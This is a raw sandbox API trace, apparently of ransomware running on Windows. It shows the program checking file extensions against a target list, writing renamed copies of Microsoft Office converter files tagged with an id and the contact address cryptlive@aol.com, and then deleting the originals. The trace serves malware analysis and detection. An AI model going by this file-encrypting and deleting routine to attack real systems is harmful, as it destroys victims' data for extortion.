[0152.826] lstrlenW (lpString=".rar") returned 4 [0152.826] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0152.826] lstrlenW (lpString=".bz2") returned 4 [0152.826] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0152.826] lstrlenW (lpString=".7z") returned 3 [0152.826] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0152.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0152.826] lstrlenW (lpString=".dbf") returned 4 [0152.826] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0152.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0152.827] lstrlenW (lpString=".1cd") returned 4 [0152.827] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0152.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0152.827] lstrlenW (lpString=".jpg") returned 4 [0152.827] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0152.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0152.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0152.827] lstrlenW (lpString=".doc") returned 4 [0152.827] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0152.827] lstrlenW (lpString=".docx") returned 5 [0152.827] lstrcmpiW (lpString1=".docx", lpString2="3.SAM") returned -1 [0152.827] lstrlenW (lpString=".pdf") returned 4 [0152.827] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0152.827] lstrlenW (lpString=".xls") returned 4 [0152.827] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0152.827] lstrlenW (lpString=".xlsx") returned 5 [0152.827] lstrcmpiW (lpString1=".xlsx", lpString2="3.SAM") returned -1 [0152.827] lstrlenW (lpString=".ppt") returned 4 [0152.827] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0152.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0152.827] lstrlenW (lpString=".zip") returned 4 [0152.827] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0152.827] lstrlenW (lpString=".rar") returned 4 [0152.827] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0152.827] lstrlenW (lpString=".bz2") returned 4 [0152.827] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0152.827] lstrlenW (lpString=".7z") returned 3 [0152.827] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0152.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0152.827] lstrlenW (lpString=".dbf") returned 4 [0152.827] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0152.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0152.828] lstrlenW (lpString=".1cd") returned 4 [0152.828] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0152.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0152.828] lstrlenW (lpString=".jpg") returned 4 [0152.828] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0152.828] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0152.828] lstrlenW (lpString="DELIMDOS.FAE") returned 12 [0152.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0152.829] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=31120) returned 1 [0152.829] CloseHandle (hObject=0x3b4) returned 1 [0152.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae")) returned 0x20 [0152.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0152.829] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.830] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0152.830] GetLastError () returned 0x0 [0152.830] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x7990, lpOverlapped=0x0) returned 1 [0152.833] WriteFile (in: hFile=0x1b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x79a0, lpOverlapped=0x0) returned 1 [0152.834] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.834] WriteFile (in: hFile=0x1b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.835] SetEndOfFile (hFile=0x1b0) returned 1 [0152.835] CloseHandle (hObject=0x1b0) returned 1 [0152.835] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.835] SetEndOfFile (hFile=0x3b4) returned 1 [0152.846] CloseHandle (hObject=0x3b4) returned 1 [0152.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae")) returned 1 [0152.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0152.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0152.848] lstrlenW (lpString=".doc") returned 4 [0152.848] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.848] lstrlenW (lpString=".docx") returned 5 [0152.848] lstrcmpiW (lpString1=".docx", lpString2="S.FAE") returned -1 [0152.848] lstrlenW (lpString=".pdf") returned 4 [0152.848] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.848] lstrlenW (lpString=".xls") returned 4 [0152.848] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.848] lstrlenW (lpString=".xlsx") returned 5 [0152.848] lstrcmpiW (lpString1=".xlsx", lpString2="S.FAE") returned -1 [0152.848] lstrlenW (lpString=".ppt") returned 4 [0152.848] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0152.848] lstrlenW (lpString=".zip") returned 4 [0152.848] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.848] lstrlenW (lpString=".rar") returned 4 [0152.848] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.848] lstrlenW (lpString=".bz2") returned 4 [0152.848] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.848] lstrlenW (lpString=".7z") returned 3 [0152.848] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0152.849] lstrlenW (lpString=".dbf") returned 4 [0152.849] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0152.849] lstrlenW (lpString=".1cd") returned 4 [0152.849] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0152.849] lstrlenW (lpString=".jpg") returned 4 [0152.849] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0152.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0152.849] lstrlenW (lpString=".doc") returned 4 [0152.849] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.849] lstrlenW (lpString=".docx") returned 5 [0152.849] lstrcmpiW (lpString1=".docx", lpString2="S.FAE") returned -1 [0152.849] lstrlenW (lpString=".pdf") returned 4 [0152.849] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.849] lstrlenW (lpString=".xls") returned 4 [0152.849] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.849] lstrlenW (lpString=".xlsx") returned 5 [0152.849] lstrcmpiW (lpString1=".xlsx", lpString2="S.FAE") returned -1 [0152.849] lstrlenW (lpString=".ppt") returned 4 [0152.849] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0152.849] lstrlenW (lpString=".zip") returned 4 [0152.849] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.849] lstrlenW (lpString=".rar") returned 4 [0152.849] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.849] lstrlenW (lpString=".bz2") returned 4 [0152.849] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.849] lstrlenW (lpString=".7z") returned 3 [0152.849] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0152.849] lstrlenW (lpString=".dbf") returned 4 [0152.850] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0152.850] lstrlenW (lpString=".1cd") returned 4 [0152.850] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0152.850] lstrlenW (lpString=".jpg") returned 4 [0152.850] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.850] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0152.850] lstrlenW (lpString="DELIMWIN.FAE") returned 12 [0152.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.331] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=31136) returned 1 [0153.331] CloseHandle (hObject=0x1e0) returned 1 [0153.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae")) returned 0x20 [0153.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0153.379] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.379] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0153.392] GetLastError () returned 0x0 [0153.392] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x79a0, lpOverlapped=0x0) returned 1 [0153.444] WriteFile (in: hFile=0x1b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x79b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x79b0, lpOverlapped=0x0) returned 1 [0153.445] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.445] WriteFile (in: hFile=0x1b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.446] SetEndOfFile (hFile=0x1b0) returned 1 [0153.446] CloseHandle (hObject=0x1b0) returned 1 [0153.446] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.446] SetEndOfFile (hFile=0x3b4) returned 1 [0153.449] CloseHandle (hObject=0x3b4) returned 1 [0153.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae")) returned 1 [0153.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0153.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0153.451] lstrlenW (lpString=".doc") returned 4 [0153.451] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0153.451] lstrlenW (lpString=".docx") returned 5 [0153.451] lstrcmpiW (lpString1=".docx", lpString2="N.FAE") returned -1 [0153.451] lstrlenW (lpString=".pdf") returned 4 [0153.451] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0153.451] lstrlenW (lpString=".xls") returned 4 [0153.451] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0153.451] lstrlenW (lpString=".xlsx") returned 5 [0153.451] lstrcmpiW (lpString1=".xlsx", lpString2="N.FAE") returned -1 [0153.451] lstrlenW (lpString=".ppt") returned 4 [0153.451] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0153.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0153.451] lstrlenW (lpString=".zip") returned 4 [0153.451] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0153.451] lstrlenW (lpString=".rar") returned 4 [0153.451] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0153.451] lstrlenW (lpString=".bz2") returned 4 [0153.451] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0153.451] lstrlenW (lpString=".7z") returned 3 [0153.452] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0153.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0153.452] lstrlenW (lpString=".dbf") returned 4 [0153.452] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0153.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0153.452] lstrlenW (lpString=".1cd") returned 4 [0153.452] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0153.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0153.452] lstrlenW (lpString=".jpg") returned 4 [0153.452] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0153.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0153.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0153.452] lstrlenW (lpString=".doc") returned 4 [0153.452] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0153.452] lstrlenW (lpString=".docx") returned 5 [0153.452] lstrcmpiW (lpString1=".docx", lpString2="N.FAE") returned -1 [0153.452] lstrlenW (lpString=".pdf") returned 4 [0153.452] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0153.453] lstrlenW (lpString=".xls") returned 4 [0153.453] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0153.453] lstrlenW (lpString=".xlsx") returned 5 [0153.453] lstrcmpiW (lpString1=".xlsx", lpString2="N.FAE") returned -1 [0153.453] lstrlenW (lpString=".ppt") returned 4 [0153.453] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0153.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0153.453] lstrlenW (lpString=".zip") returned 4 [0153.453] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0153.453] lstrlenW (lpString=".rar") returned 4 [0153.453] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0153.453] lstrlenW (lpString=".bz2") returned 4 [0153.453] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0153.453] lstrlenW (lpString=".7z") returned 3 [0153.453] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0153.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0153.453] lstrlenW (lpString=".dbf") returned 4 [0153.453] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0153.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0153.453] lstrlenW (lpString=".1cd") returned 4 [0153.453] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0153.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0153.453] lstrlenW (lpString=".jpg") returned 4 [0153.453] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0153.453] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0153.454] lstrlenW (lpString="OLNOTE.FAE") returned 10 [0153.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0153.783] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=52120) returned 1 [0153.783] CloseHandle (hObject=0x1b8) returned 1 [0153.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae")) returned 0x20 [0153.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0153.783] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.783] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.211] GetLastError () returned 0x0 [0154.211] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xcb98, lpOverlapped=0x0) returned 1 [0154.268] WriteFile (in: hFile=0x384, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xcba0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xcba0, lpOverlapped=0x0) returned 1 [0154.269] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.269] WriteFile (in: hFile=0x384, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0154.270] SetEndOfFile (hFile=0x384) returned 1 [0154.270] CloseHandle (hObject=0x384) returned 1 [0154.270] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.270] SetEndOfFile (hFile=0x1b8) returned 1 [0154.315] CloseHandle (hObject=0x1b8) returned 1 [0154.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae")) returned 1 [0154.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0154.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0154.389] lstrlenW (lpString=".doc") returned 4 [0154.389] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0154.389] lstrlenW (lpString=".docx") returned 5 [0154.389] lstrcmpiW (lpString1=".docx", lpString2="E.FAE") returned -1 [0154.389] lstrlenW (lpString=".pdf") returned 4 [0154.389] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0154.389] lstrlenW (lpString=".xls") returned 4 [0154.389] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0154.389] lstrlenW (lpString=".xlsx") returned 5 [0154.389] lstrcmpiW (lpString1=".xlsx", lpString2="E.FAE") returned -1 [0154.389] lstrlenW (lpString=".ppt") returned 4 [0154.389] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0154.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0154.389] lstrlenW (lpString=".zip") returned 4 [0154.389] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0154.389] lstrlenW (lpString=".rar") returned 4 [0154.389] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0154.389] lstrlenW (lpString=".bz2") returned 4 [0154.389] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0154.389] lstrlenW (lpString=".7z") returned 3 [0154.389] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0154.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0154.389] lstrlenW (lpString=".dbf") returned 4 [0154.389] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0154.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0154.389] lstrlenW (lpString=".1cd") returned 4 [0154.389] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0154.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0154.390] lstrlenW (lpString=".jpg") returned 4 [0154.390] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 